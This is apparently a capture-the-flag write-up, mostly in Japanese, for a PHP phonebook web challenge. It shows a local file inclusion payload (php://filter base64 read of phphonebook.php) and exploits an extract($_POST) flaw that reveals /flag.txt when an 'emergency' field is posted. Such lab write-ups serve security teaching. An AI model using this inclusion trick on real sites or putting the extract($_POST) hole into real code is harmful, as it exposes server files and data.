Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
リングリング!番号を調べる必要がありますか?この電話帳はあなたをカバーしています! でも、緊急時にしかフラグを立てられません。
Connect here:
http://jh2i.com:50002
サイトにはこう書かれている。
Sorry! You are in /index.php/?file= The phonebook is located at phphonebook.php
とりあえず/phphonebook.php
に行ってみると番号が要求される。
与えられているIFを試してみよう。
/index.php/?file=phphonebook.php
とすると、cssとimageが表示されない状態でさっきの画面が出てくる。
つまり、phpとしては解釈されていているので、phpをインジェクションしているんだろう。
LFI
ファイルを内部的に取ってきているっぽいので、いつものphpプロトコルを試す。
/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php
... <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div> <div id="php_container"> <?php extract($_POST); if (isset($emergency)){ echo(file_get_contents("/flag.txt")); } ?> </div> ...
emergencyがPOSTされていればフラグが表示されるみたい。
こんな感じに追加するとフラグが出てきた。